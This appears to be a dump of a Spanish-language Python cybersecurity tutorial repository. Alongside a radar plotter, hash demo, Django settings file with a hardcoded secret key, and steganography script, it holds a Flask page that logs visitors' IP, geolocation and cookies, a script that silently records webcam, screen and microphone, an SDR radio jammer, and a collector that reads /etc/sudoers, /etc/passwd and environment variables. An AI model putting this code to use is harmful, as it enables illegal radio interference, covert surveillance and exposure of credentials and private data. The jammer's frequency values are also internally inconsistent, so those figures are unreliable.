Con la siguiente funcion se grafica la distancia 46 | def Graficador_Radar(Dispositivos): 47 | screen.fill((0, 0, 0)) 48 | 49 | # Dibujar círculos concéntricos 50 | for r in [50, 100, 150, 200, 250]: 51 | pygame.draw.circle(screen, (0, 255, 0), CENTER, r, 1) 52 | 53 | # Dibujar líneas centrales 54 | pygame.draw.line(screen, (0, 255, 0), (CENTER[0]-250, CENTER[1]), (CENTER[0]+250, CENTER[1]), 1) 55 | pygame.draw.line(screen, (0, 255, 0), (CENTER[0], CENTER[1]-250), (CENTER[0], CENTER[1]+250), 1) 56 | 57 | # Fuente para mostrar texto 58 | font = pygame.font.Font(None, 20) 59 | 60 | # Dibujar dispositivos detectados 61 | for i, (name, rssi) in enumerate(Dispositivos): 62 | Distancia = Distancia_Con_RSSI(rssi) 63 | Radio_distancia = min(int(Distancia * 25), 250) # mapear distancia a píxeles 64 | Angulo_Radar = i * 30 # distribución angular simple 65 | 66 | x = CENTER[0] + int(Radio_distancia * math.cos(math.radians(Angulo_Radar))) 67 | y = CENTER[1] + int(Radio_distancia * math.sin(math.radians(Angulo_Radar))) 68 | 69 | # Color según distancia 70 | color = (255, max(0, 255 - int(Radio_distancia*255/250)), 0) 71 | 72 | pygame.draw.circle(screen, color, (x, y), 6) 73 | 74 | # Mostrar nombre y distancia en metros 75 | text_surface = font.render(f"{name} ({Distancia:.1f}m)", True, (255, 255, 255)) 76 | screen.blit(text_surface, (x + 8, y)) 77 | 78 | pygame.display.flip() 79 | 80 | # Con el siguiente bucle se ejecuta el programa 81 | Ejecutandose = True 82 | clock = pygame.time.Clock() 83 | 84 | while Ejecutandose: 85 | for event in pygame.event.get(): 86 | if event.type == pygame.QUIT: 87 | Ejecutandose = False 88 | 89 | Graficador_Radar(Lista_Dispositivos_Cercanos) 90 | clock.tick(30) # refresco 30 FPS 91 | -------------------------------------------------------------------------------- /02_Ejemplos_Librerias/19_Requests_Guardar_datos_de_usuario_web.py: -------------------------------------------------------------------------------- 1 | # En este programa se muestra un codigo para guardar mucha informacion de una usuario web 2 | # Se usaran 2 librerias flask y requests, para ver la informacion de el usuario web 3 | # Primero se instala captcha con el siguiente comando "pip install flask requests" 4 | from flask import Flask, request, jsonify 5 | import requests 6 | from datetime import datetime 7 | import socket 8 | from datetime import datetime 9 | 10 | app = Flask(__name__) 11 | 12 | # En el siguiente codigo se guarda la direccion ip de el usuario 13 | def get_client_ip(): 14 | if request.headers.getlist("X-Forwarded-For"): 15 | ip = request.headers.getlist("X-Forwarded-For")[0].split(',')[0] 16 | else: 17 | ip = request.remote_addr 18 | return ip 19 | 20 | # Con la siguiente funcion se obtienen datos geograficos de una ip con esa api 21 | def get_geo_info(ip): 22 | try: 23 | response = requests.get(f"http://ip-api.com/json/{ip}") 24 | return response.json() 25 | except Exception: 26 | return {} 27 | 28 | # En esta funcion se valida datos de la conectividad con User-Agent (simplificado). 29 | def get_connection_type(user_agent): 30 | ua = user_agent.lower() 31 | if "mobile" in ua or "android" in ua or "iphone" in ua: 32 | return "Móvil" 33 | else: 34 | return "Fija o desconocida" 35 | 36 | # Con el siguiente codigo se indica que sistema operativo tiene el usuario 37 | def detect_os(user_agent): 38 | ua = user_agent.lower() 39 | if "windows" in ua: 40 | return "Windows" 41 | elif "mac os" in ua or "macintosh" in ua: 42 | return "macOS" 43 | elif "linux" in ua: 44 | return "Linux" 45 | elif "android" in ua: 46 | return "Android" 47 | elif "iphone" in ua or "ios" in ua: 48 | return "iOS" 49 | else: 50 | return "Desconocido" 51 | 52 | # En la siguiente funcion, se obtiene el hostname del usuario con socket 53 | def get_hostname(ip): 54 | try: 55 | return socket.gethostbyaddr(ip)[0] 56 | except Exception: 57 | return "No disponible" 58 | 59 | 60 | # Se indica con la funcion router de flask datos del usuario 61 | @app.route("/") 62 | def index(): 63 | ip = get_client_ip() 64 | user_agent = request.headers.get("User-Agent") 65 | referer = request.headers.get("Referer", "No especificado") 66 | connection_time = datetime.utcnow().isoformat() + "Z" 67 | cookies = request.cookies 68 | headers = dict(request.headers) 69 | geo_info = get_geo_info(ip) 70 | connection_type = get_connection_type(user_agent) 71 | os_info = detect_os(user_agent) 72 | hostname = get_hostname(ip) 73 | 74 | # Se guarda los datos en un JSON 75 | result = { 76 | "IP pública": ip, 77 | "Sistema operativo": os_info, 78 | "Hostname del cliente": hostname, 79 | "Hora de conexión (UTC)": connection_time, 80 | "Cookies": {k: v for k, v in cookies.items()}, 81 | "Tipo de conexión": connection_type, 82 | "User-Agent": user_agent, 83 | "Referer": referer, 84 | "Geolocalización aproximada": { 85 | "País": geo_info.get("country"), 86 | "Región": geo_info.get("regionName"), 87 | "Ciudad": geo_info.get("city"), 88 | "Proveedor (ISP)": geo_info.get("isp"), 89 | "Latitud": geo_info.get("lat"), 90 | "Longitud": geo_info.get("lon") 91 | }, 92 | "Headers HTTP": headers 93 | } 94 | 95 | return jsonify(result) 96 | 97 | # El main para ejecutar la aplicacion 98 | if __name__ == "__main__": 99 | app.run(debug=True) -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/06_Encriptacion_texto_haslib.py: -------------------------------------------------------------------------------- 1 | # pip install hashlib 2 | 3 | import hashlib 4 | 5 | def main(): 6 | #Se solicita una palabra por medio de input y se transforma en string con el str, esto se guarda en la variable palabra 7 | palabra = str(input("Ingrese la palabra a encriptar: ")) 8 | 9 | #La primer conversion es a md5, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 10 | md5 = hashlib.md5(palabra.encode('utf-8')).hexdigest() 11 | print("Este es el hash MD5: " + md5) 12 | 13 | #La siguiente conversion es a sha1, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 14 | sha1 = hashlib.sha1(palabra.encode('utf-8')).hexdigest() 15 | print("Este es el hash sha1: " + sha1) 16 | 17 | #La siguiente conversion es a sha224, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 18 | sha224 = hashlib.sha224(palabra.encode('utf-8')).hexdigest() 19 | print("Este es el hash sha224: " + sha224) 20 | 21 | #La siguiente conversion es a sha256, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 22 | sha256 = hashlib.sha256(palabra.encode('utf-8')).hexdigest() 23 | print("Este es el hash sha256: " + sha256) 24 | 25 | #La siguiente conversion es a sha384, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 26 | sha384 = hashlib.sha384(palabra.encode('utf-8')).hexdigest() 27 | print("Este es el hash sha384: "+ sha384) 28 | 29 | #La siguiente conversion es a sha512, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 30 | sha512 = hashlib.sha512(palabra.encode('utf-8')).hexdigest() 31 | print("Este es el hash sha512: "+ sha512) 32 | 33 | #Añadidos desde python 3.6 en adelante 34 | #La siguiente conversion es a blake2b, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 35 | blake2b = hashlib.blake2b(palabra.encode('utf-8')).hexdigest() 36 | print("Este es el hash blake2b: "+ blake2b) 37 | 38 | #La siguiente conversion es a blake2s, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 39 | blake2s = hashlib.blake2s(palabra.encode('utf-8')).hexdigest() 40 | print("Este es el hash blake2s: "+ blake2s) 41 | 42 | #La siguiente conversion es a sha3_224, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 43 | sha3_224 = hashlib.sha3_224(palabra.encode('utf-8')).hexdigest() 44 | print("Este es el hash sha3_224: "+ sha3_224) 45 | 46 | #La siguiente conversion es a sha3_256, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 47 | sha3_256 = hashlib.sha3_256(palabra.encode('utf-8')).hexdigest() 48 | print("Este es el hash sha3_256: "+ sha3_256) 49 | 50 | #La siguiente conversion es a sha3_384, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 51 | sha3_384 = hashlib.sha3_384(palabra.encode('utf-8')).hexdigest() 52 | print("Este es el hash sha3_384: "+ sha3_384) 53 | 54 | #La siguiente conversion es a sha3_512, la variable se vuelve hexadecimal el codigo con caracteristica UTF-8 y luego se muestra en pantalla la repuesta 55 | sha3_512 = hashlib.sha3_512(palabra.encode('utf-8')).hexdigest() 56 | print("Este es el hash sha3_512: "+ sha3_512) 57 | 58 | if __name__== "__main__": 59 | main() 60 | 61 | 62 | 63 | 64 | 65 | -------------------------------------------------------------------------------- /03_Django_Framework/proyecto1/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for proyecto1 project. 3 | 4 | Generated by 'django-admin startproject' using Django 2.1.7. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/2.1/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/2.1/ref/settings/ 11 | """ 12 | 13 | import os 14 | from django.urls import reverse_lazy 15 | # Build paths inside the project like this: os.path.join(BASE_DIR, ...) 16 | BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 17 | 18 | 19 | # Quick-start development settings - unsuitable for production 20 | # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ 21 | 22 | # SECURITY WARNING: keep the secret key used in production secret! 23 | SECRET_KEY = 'w=)$+mdg5n2e4o17@7d$a=jd6y#v!4d80y4yt!pssfo7a1xtm+' 24 | 25 | # SECURITY WARNING: don't run with debug turned on in production! 26 | DEBUG = True 27 | 28 | ALLOWED_HOSTS = [] 29 | 30 | 31 | # Application definition 32 | 33 | INSTALLED_APPS = [ 34 | 'django.contrib.admin', 35 | 'django.contrib.auth', 36 | 'django.contrib.contenttypes', 37 | 'django.contrib.sessions', 38 | 'django.contrib.messages', 39 | 'django.contrib.staticfiles', 40 | # 'proyecto1', 41 | 42 | ] 43 | 44 | MIDDLEWARE = [ 45 | 'django.middleware.security.SecurityMiddleware', 46 | 'django.contrib.sessions.middleware.SessionMiddleware', 47 | 'django.middleware.common.CommonMiddleware', 48 | 'django.middleware.csrf.CsrfViewMiddleware', 49 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 50 | 'django.contrib.messages.middleware.MessageMiddleware', 51 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 52 | ] 53 | 54 | ROOT_URLCONF = 'proyecto1.urls' 55 | 56 | TEMPLATES = [ 57 | { 58 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 59 | #se anexa a dirs la direccion de la carpeta 60 | 'DIRS': ['C:/Users/Sesagean/Desktop/Resumenes/CLASES/DJANGO/proyecto1/proyecto1/plantillas/'], 61 | 'APP_DIRS': True, 62 | 'OPTIONS': { 63 | 'context_processors': [ 64 | 'django.template.context_processors.debug', 65 | 'django.template.context_processors.request', 66 | 'django.contrib.auth.context_processors.auth', 67 | 'django.contrib.messages.context_processors.messages', 68 | ], 69 | }, 70 | }, 71 | ] 72 | 73 | WSGI_APPLICATION = 'proyecto1.wsgi.application' 74 | 75 | 76 | # Database 77 | # https://docs.djangoproject.com/en/2.1/ref/settings/#databases 78 | 79 | DATABASES = { 80 | 'default': { 81 | 'ENGINE': 'django.db.backends.sqlite3', 82 | 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), 83 | } 84 | } 85 | 86 | 87 | # Password validation 88 | # https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators 89 | 90 | AUTH_PASSWORD_VALIDATORS = [ 91 | { 92 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 93 | }, 94 | { 95 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 96 | }, 97 | { 98 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 99 | }, 100 | { 101 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 102 | }, 103 | ] 104 | 105 | 106 | # Internationalization 107 | # https://docs.djangoproject.com/en/2.1/topics/i18n/ 108 | 109 | LANGUAGE_CODE = 'en-us' 110 | 111 | TIME_ZONE = 'UTC' 112 | 113 | USE_I18N = True 114 | 115 | USE_L10N = True 116 | 117 | USE_TZ = True 118 | 119 | 120 | # Static files (CSS, JavaScript, Images) 121 | # https://docs.djangoproject.com/en/2.1/howto/static-files/ 122 | 123 | STATIC_URL = '/static/' 124 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Encriptaciones/Esteganografia/03_Piexif_Fernet_Esteganografia_encriptacion.py: -------------------------------------------------------------------------------- 1 | # En el siguiente codigo de programacion, se muestra una forma sencilla 2 | # De extraer un archivo texto en una imagen png 3 | # Pirmero descargamos y usamos las librerias 4 | # Primero se instala zipfile con el siguiente comando 5 | # "pip install Fernet" 6 | 7 | import os 8 | from PIL import Image, ImageDraw, ImageFont 9 | import piexif 10 | from cryptography.fernet import Fernet 11 | 12 | 13 | from cryptography.fernet import Fernet 14 | from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 15 | from cryptography.hazmat.primitives import hashes 16 | from cryptography.hazmat.backends import default_backend 17 | import base64 18 | import os 19 | 20 | # Se ingresan texto en la imagen 21 | def insertar_texto_visible(imagen, texto, posicion=(10, 10), color=(255, 255, 255)): 22 | draw = ImageDraw.Draw(imagen) 23 | font = ImageFont.load_default() 24 | draw.text(posicion, texto, fill=color, font=font) 25 | return imagen 26 | 27 | # Se ingresa el texto a los metadatos 28 | def insertar_metadato(imagen, texto): 29 | try: 30 | exif_dict = piexif.load(imagen.info.get('exif', b'')) 31 | except Exception: 32 | exif_dict = {"0th": {}, "Exif": {}, "GPS": {}, "1st": {}, "thumbnail": None} 33 | 34 | # Codificar como UserComment (ID 37510) 35 | user_comment = texto.encode('utf-8') 36 | exif_dict["Exif"][piexif.ExifIFD.UserComment] = b'\x00\x00' + user_comment 37 | return piexif.dump(exif_dict) 38 | 39 | 40 | # Se crea la llave basandose en un texto que le ingresa 41 | def generar_clave_fernet_desde_texto(texto: str, salt_constante: bytes) -> bytes: 42 | kdf = PBKDF2HMAC( 43 | algorithm=hashes.SHA256(), 44 | length=32, 45 | salt=salt_constante, 46 | iterations=100_000, 47 | backend=default_backend() 48 | ) 49 | return base64.urlsafe_b64encode(kdf.derive(texto.encode())) 50 | 51 | # En el main se ejecutan las funciones 52 | def main(): 53 | print("!! Se empieza a encriptar la informacion y a guardarla en la imagen !!") 54 | 55 | # 1. Preguntar ruta de imagen 56 | ruta_imagen = input("Ruta de la imagen (ej. foto.jpg): ").strip() 57 | if not os.path.exists(ruta_imagen): 58 | print("(-) No se encontro la imagen.") 59 | return 60 | # Encriptar 61 | # Generar clave 62 | texto_plano = input('Por favor ingresar el texto que se va a guardar: ') 63 | llave = input('Por favor ingresar el la LLAVE de encriptacion : ') 64 | 65 | # Salt constante (¡debe ser exactamente igual siempre!) 66 | salt_fijo = b'salt-fijo-16bytes' # 16 bytes exactos 67 | # Generar clave Fernet 68 | clave = generar_clave_fernet_desde_texto(llave, salt_fijo) 69 | texto_llave_str = clave.decode() 70 | 71 | fernet = Fernet(texto_llave_str) 72 | # Encriptar (devuelve bytes base64) 73 | texto_cifrado_bytes = fernet.encrypt(texto_plano.encode()) 74 | # Convertir bytes a string para guardar como texto plano en archivo 75 | texto_cifrado_str = texto_cifrado_bytes.decode() 76 | print("(+) Texto encriptado:", texto_cifrado_str) 77 | # Abrir la imagen 78 | try: 79 | imagen = Image.open(ruta_imagen).convert("RGB") 80 | except Exception as e: 81 | print(f"(-) No se abrio la imagen: {e}") 82 | return 83 | 84 | # Se guarda la informacion en la imagen 85 | imagen = insertar_texto_visible(imagen, texto_cifrado_str) 86 | 87 | # Se guardan los datos en el metadatos 88 | nueva_ruta = f"editada_{os.path.basename(ruta_imagen)}" 89 | try: 90 | if ruta_imagen.lower().endswith((".jpg", ".jpeg")): 91 | exif_bytes = insertar_metadato(imagen, texto_cifrado_str) 92 | imagen.save(nueva_ruta, exif=exif_bytes) 93 | else: 94 | imagen.save(nueva_ruta) 95 | print(f"(+) La imagen fue guardada sin problema: {nueva_ruta}") 96 | except Exception as e: 97 | print(f"(-) No se guardo la imagen : {e}") 98 | 99 | if __name__ == "__main__": 100 | main() 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Forense/10_Grabar_Microfono_Pantalla_Camara_Ubicacion.py: -------------------------------------------------------------------------------- 1 | # Este es un codigo para extraer imagen de camara, imagen de pantalla y audio 2 | # Del entorno del computador windows 3 | # El software y luego instalar las librerias de python 4 | # pip install opencv-python mss numpy sounddevice scipy moviepy 5 | import cv2 6 | import numpy as np 7 | import mss 8 | import time 9 | import sounddevice as sd 10 | from scipy.io.wavfile import write as write_wav 11 | from datetime import datetime 12 | from moviepy.editor import VideoFileClip, AudioFileClip 13 | import requests 14 | 15 | respuesta = requests.get("https://ipinfo.io/json") 16 | datos = respuesta.json() 17 | 18 | print("(+) Ubicación aproximada:") 19 | print(f"IP: {datos.get('ip')}") 20 | print(f"Ciudad: {datos.get('city')}") 21 | print(f"Región: {datos.get('region')}") 22 | print(f"País: {datos.get('country')}") 23 | print(f"Ubicación (lat,long): {datos.get('loc')}") 24 | print(f"Organización: {datos.get('org')}") 25 | print(f"Zona Horaria: {datos.get('timezone')}") 26 | Ubicacion = datos.get('loc') 27 | 28 | 29 | 30 | # Variables relacionados al proyecto 31 | Duracion_Grabacion = 10 # segundos 32 | Fps = 20 33 | Tasa_Audio = 44100 34 | Resolucion_Camara = (640, 480) 35 | # Se calcula el tiempo inicial 36 | Tiempo_Inicial = datetime.now().strftime('%Y-%m-%d_%H-%M-%S') # año-mes-día_hora-minuto-segundo 37 | 38 | # Se guardan las variables de los nombres de archivos 39 | archivo_camara = f"Camara_{Tiempo_Inicial}_{Ubicacion}.mp4" 40 | archivo_pantalla = f"Pantalla_{Tiempo_Inicial}_{Ubicacion}.mp4" 41 | archivo_audio = f"Audio_{Tiempo_Inicial}_{Ubicacion}.wav" 42 | archivo_pantalla_con_audio = f"Pantalla_Audio_{Tiempo_Inicial}_{Ubicacion}.mp4" 43 | 44 | # Se inicializa la camara 45 | cam = cv2.VideoCapture(0) 46 | cam.set(cv2.CAP_PROP_FRAME_WIDTH, Resolucion_Camara[0]) 47 | cam.set(cv2.CAP_PROP_FRAME_HEIGHT, Resolucion_Camara[1]) 48 | 49 | if not cam.isOpened(): 50 | print("(-) No se pudo abrir la cámara") 51 | exit() 52 | 53 | # Se organizan los datos de la camara 54 | codec = cv2.VideoWriter_fourcc(*'mp4v') 55 | out_camara = cv2.VideoWriter(archivo_camara, codec, Fps, Resolucion_Camara) 56 | 57 | # Se graba el audio del windows 58 | print("(+)(...) Guardando el audio...") 59 | audio = sd.rec(int(Duracion_Grabacion * Tasa_Audio), samplerate=Tasa_Audio, channels=2) 60 | 61 | # Se graba la pantalla mas la camara 62 | with mss.mss() as sct: 63 | monitor = sct.monitors[1] # pantalla completa principal 64 | screen_res = (monitor["width"], monitor["height"]) 65 | out_pantalla = cv2.VideoWriter(archivo_pantalla, codec, Fps, screen_res) 66 | 67 | print("(+)(...) Guardando la imagen de camara y pantalla..") 68 | tiempo_inicio = time.time() 69 | 70 | while time.time() - tiempo_inicio < Duracion_Grabacion: 71 | # Se lee la camara 72 | ret, frame_cam = cam.read() 73 | if ret: 74 | out_camara.write(frame_cam) 75 | 76 | # Se lee la pantalla 77 | pantalla = np.array(sct.grab(monitor)) 78 | frame_pantalla = cv2.cvtColor(pantalla, cv2.COLOR_BGRA2BGR) 79 | out_pantalla.write(frame_pantalla) 80 | 81 | time.sleep(1 / Fps) 82 | 83 | # Guardar datos 84 | sd.wait() 85 | write_wav(archivo_audio, Tasa_Audio, audio) 86 | 87 | # Inicializan librerias de guardar datos 88 | cam.release() 89 | out_camara.release() 90 | out_pantalla.release() 91 | cv2.destroyAllWindows() 92 | 93 | # Se combina el audio con la imagen de la pantalla 94 | print("(+)(...) Se esta combinando la imagen de la pantalla con el audio del microfono...") 95 | video_clip = VideoFileClip(archivo_pantalla) 96 | audio_clip = AudioFileClip(archivo_audio) 97 | video_final = video_clip.set_audio(audio_clip) 98 | video_final.write_videofile(archivo_pantalla_con_audio, codec='libx264', audio_codec='aac') 99 | 100 | # Se muestra en pantalla los nombres de los archivos 101 | print("\n(+) Grabación completada con éxito:") 102 | print(f"(+) Archivo con imagen de Cámara: {archivo_camara}") 103 | print(f"(+) Archivo con imagen de pantalla: {archivo_pantalla}") 104 | print(f"(+) Archivo con pantalla + Audio: {archivo_pantalla_con_audio}") 105 | 106 | 107 | 108 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Radio_frecuencias/07_Inhibidor_Señales_ElectroMagnetismo_SoapySDR.py: -------------------------------------------------------------------------------- 1 | # En este ejemplo de codigo se muestra la creacion de un inhibidor de señales 2 | # ingresandole frecuencia inicial y frecuencia final 3 | # pip install pyrtlsdr numpy matplotlib SoapySDR 4 | # sudo apt install soapysdr-module-all 5 | # inhibitor inibidor 抑制劑 ингибитор अवरोधक 6 | import numpy as np 7 | import SoapySDR 8 | from SoapySDR import * # SOAPY_SDR_ constants 9 | import time 10 | 11 | # Barrito en la mayoria de frecuencias (en Hz) 12 | Frecuencia_inicial = 1 # 1 MHz 13 | Frecuencia_Final = 3e12 # 300 GHz 14 | Frecuencia_Muestreo = 1e6 # 1 MHz 15 | Pasos_Herz = 1e6 # Paso de 1 MHz 16 | Tiempo_Frecuencia = 5 # Tiempo en cada frecuencia (segundos) 17 | Ganancia_Tx = 30 # Ganancia de TX 18 | 19 | # PlutoSDR 20 | # Rango oficial: 325 MHz – 3.8 GHz (AD9363) 20 MHz 21 | # Frecuencia de barrido (en Hz) 22 | # Frecuencia_inicial = 325e6 # 325 MHz 23 | # Frecuencia_Final = 3.8e12 # 3.8 GHz 24 | # Frecuencia_Muestreo = 20e6 # 20 MHz 25 | # Pasos_Herz = 1e6 # Paso de 1 MHz 26 | # Tiempo_Frecuencia = 5 # Tiempo en cada frecuencia (segundos) 27 | # Ganancia_Tx = 30 # Ganancia de TX 28 | 29 | # Con hack “AD9364”: 70 MHz – 6 GHz 56 MHz 30 | # Frecuencia de barrido (en Hz) 31 | # Frecuencia_inicial = 70e6 # 70 MHz 32 | # Frecuencia_Final = 6e12 # 6 GHz 33 | # Frecuencia_Muestreo = 56e6 # 56 MHz 34 | # Pasos_Herz = 1e6 # Paso de 1 MHz 35 | # Tiempo_Frecuencia = 5 # Tiempo en cada frecuencia (segundos) 36 | # Ganancia_Tx = 30 # Ganancia de TX 37 | 38 | # HACKRF 39 | # Astroradio (España) 1 MHz 6 GHz Ancho de banda 20 MHz 40 | # Frecuencia de barrido (en Hz) 41 | # Frecuencia_inicial = 1e6 # 1 MHz 42 | # Frecuencia_Final = 6e6 # 6 GHz 43 | # Frecuencia_Muestreo = 20e6 # 20 MHz 44 | # Pasos_Herz = 1e6 # Paso de 1 MHz 45 | # Tiempo_Frecuencia = 5 # Tiempo en cada frecuencia (segundos) 46 | # Ganancia_Tx = 30 # Ganancia de TX 47 | 48 | # SparkFun (EE.UU.) 1 MHz 6 GHz Ancho de banda 20 MHz 49 | # Frecuencia de barrido (en Hz) 50 | # Frecuencia_inicial = 1e6 # 1 MHz 51 | # Frecuencia_Final = 6e6 # 6 GHz 52 | # Frecuencia_Muestreo = 20e6 # 20 MHz 53 | # Pasos_Herz = 1e6 # Paso de 1 MHz 54 | # Tiempo_Frecuencia = 5 # Tiempo en cada frecuencia (segundos) 55 | # Ganancia_Tx = 30 # Ganancia de TX 56 | 57 | # Nooelec / Amazon 1 MHz 6 GHz Ancho de banda 20 MHz 58 | # Frecuencia de barrido (en Hz) 59 | # Frecuencia_inicial = 1e6 # 70 MHz 60 | # Frecuencia_Final = 6e12 # 300 GHz 61 | # Frecuencia_Muestreo = 20e6 # 20 MHz 62 | # Pasos_Herz = 1e6 # Paso de 1 MHz 63 | # Tiempo_Frecuencia = 5 # Tiempo en cada frecuencia (segundos) 64 | # x_gain = 30 # Ganancia de TX 65 | 66 | # SDR configuración general 67 | driver_args = dict(driver="hackrf") # Cambia a "lime", "uhd", etc. según tu SDR 68 | sdr = SoapySDR.Device(driver_args) 69 | 70 | #Dispositivo Driver (para SoapySDR) 71 | # Hackrf 72 | # driver_args = dict(driver="hackrf") 73 | 74 | # LimeSDR 75 | # driver_args = dict(driver="lime") 76 | 77 | # RTL-SDR 78 | # driver_args = dict(driver="rtlsdr") 79 | 80 | # SDRplay 81 | # driver_args = dict(driver="sdrplay") 82 | 83 | # PlutoSDR 84 | # driver_args = dict(driver="plutosdr") 85 | 86 | sdr.setSampleRate(SOAPY_SDR_TX, 0, Frecuencia_Muestreo) 87 | sdr.setGain(SOAPY_SDR_TX, 0, Ganancia_Tx) 88 | 89 | # Señal constante (portadora sin modulación) 90 | num_samples = 1024 91 | signal = (0.5 + 0.5j) * np.ones(num_samples, dtype=np.complex64) 92 | 93 | # Configurar transmisión 94 | tx_stream = sdr.setupStream(SOAPY_SDR_TX, SOAPY_SDR_CF32) 95 | sdr.activateStream(tx_stream) 96 | 97 | print("Iniciando transmisión con barrido de frecuencia...") 98 | 99 | try: 100 | freq = Frecuencia_inicial 101 | while True: 102 | sdr.setFrequency(SOAPY_SDR_TX, 0, freq) 103 | print(f"Transmitiendo en {freq/1e6:.1f} MHz") 104 | t_start = time.time() 105 | while time.time() - t_start < Tiempo_Frecuencia: 106 | sdr.writeStream(tx_stream, [signal], len(signal)) 107 | freq += Pasos_Herz 108 | if freq > Frecuencia_Final: 109 | freq = Frecuencia_inicial # Repetir barrido 110 | except KeyboardInterrupt: 111 | print("Transmisión detenida.") 112 | 113 | # Limpieza 114 | sdr.deactivateStream(tx_stream) 115 | sdr.closeStream(tx_stream) 116 | -------------------------------------------------------------------------------- /05_Ciberseguridad_Python/Forense/04_Extraer_Info_Linux.py: -------------------------------------------------------------------------------- 1 | # Este es un codigo para extraer la mayor cantidad de informacion de 2 | # Un sistema operativo Linux, como requisito hay que descargar 3 | # El software y luego instalar las librerias de python 4 | # Por ultimo dar los permisos adminin al archivo o terminal 5 | # # pip install psutil distro requests 6 | 7 | 8 | import os 9 | import platform 10 | import socket 11 | import subprocess 12 | import psutil 13 | import distro 14 | import time 15 | from datetime import datetime 16 | import requests 17 | 18 | Tiempo_Inicial = datetime.now().strftime('%Y-%m-%d_%H-%M-%S') 19 | respuesta = requests.get("https://ipinfo.io/json") 20 | datos = respuesta.json() 21 | 22 | print("(+) Ubicación aproximada:") 23 | print(f"IP: {datos.get('ip')}") 24 | print(f"Ciudad: {datos.get('city')}") 25 | print(f"Región: {datos.get('region')}") 26 | print(f"País: {datos.get('country')}") 27 | print(f"Ubicación (lat,long): {datos.get('loc')}") 28 | print(f"Organización: {datos.get('org')}") 29 | print(f"Zona Horaria: {datos.get('timezone')}") 30 | Ubicacion = datos.get('loc') 31 | 32 | # Crear carpeta con nombre basado en hostname y fecha 33 | OUTPUT_DIR = f"Info_Linux_{socket.gethostname()}_{datetime.now().strftime('%Y%m%d_%H%M%S')}_{Ubicacion}" 34 | os.makedirs(OUTPUT_DIR, exist_ok=True) 35 | 36 | def save_output(name, command): 37 | path = os.path.join(OUTPUT_DIR, f"{name}.txt") 38 | try: 39 | with open(path, "w", encoding="utf-8") as f: 40 | result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, shell=True, text=True) 41 | f.write(result.stdout.strip()) 42 | print(f"[+] Guardado: {name}") 43 | except Exception as e: 44 | print(f"[-] Error guardando {name}: {e}") 45 | 46 | def save_text(name, content): 47 | with open(os.path.join(OUTPUT_DIR, f"{name}.txt"), "w", encoding="utf-8") as f: 48 | f.write(content) 49 | 50 | # Información del sistema 51 | save_text("sistema", f"""\ 52 | Hostname: {socket.gethostname()} 53 | Usuario: {os.getlogin()} 54 | Distro: {distro.name()} {distro.version()} ({distro.codename()}) 55 | Kernel: {platform.release()} 56 | Arquitectura: {platform.machine()} 57 | Procesador: {platform.processor()} 58 | Python: {platform.python_version()} 59 | """) 60 | 61 | # Variables de entorno 62 | save_text("entorno", "\n".join(f"{k}={v}" for k, v in os.environ.items())) 63 | 64 | # CPU y memoria 65 | save_text("cpu_memoria", f"""\ 66 | CPUs: {psutil.cpu_count(logical=True)} (físicos: {psutil.cpu_count(logical=False)}) 67 | Uso CPU: {psutil.cpu_percent(interval=1)}% 68 | RAM total: {psutil.virtual_memory().total // (1024**2)} MB 69 | RAM usada: {psutil.virtual_memory().used // (1024**2)} MB 70 | """) 71 | 72 | # Disco 73 | save_output("discos", "lsblk -o NAME,FSTYPE,SIZE,MOUNTPOINT,UUID") 74 | save_output("espacio_disco", "df -hT") 75 | save_output("parted", "sudo parted -l") 76 | 77 | # Hardware 78 | save_output("cpu_info", "lscpu") 79 | save_output("bios", "sudo dmidecode -t bios") 80 | save_output("motherboard", "sudo dmidecode -t baseboard") 81 | save_output("memoria", "sudo dmidecode -t memory") 82 | 83 | # Red 84 | save_output("ip_addr", "ip a") 85 | save_output("ip_route", "ip r") 86 | save_output("interfaces", "cat /etc/network/interfaces") 87 | save_output("resolv_conf", "cat /etc/resolv.conf") 88 | save_output("netstat", "netstat -tulnpe") 89 | save_output("ss", "ss -tulnp") 90 | 91 | # Usuarios y grupos 92 | save_output("usuarios", "cut -d: -f1 /etc/passwd") 93 | save_output("grupos", "cut -d: -f1 /etc/group") 94 | save_output("sudoers", "cat /etc/sudoers") 95 | save_output("logged_users", "w") 96 | 97 | # Servicios y procesos 98 | 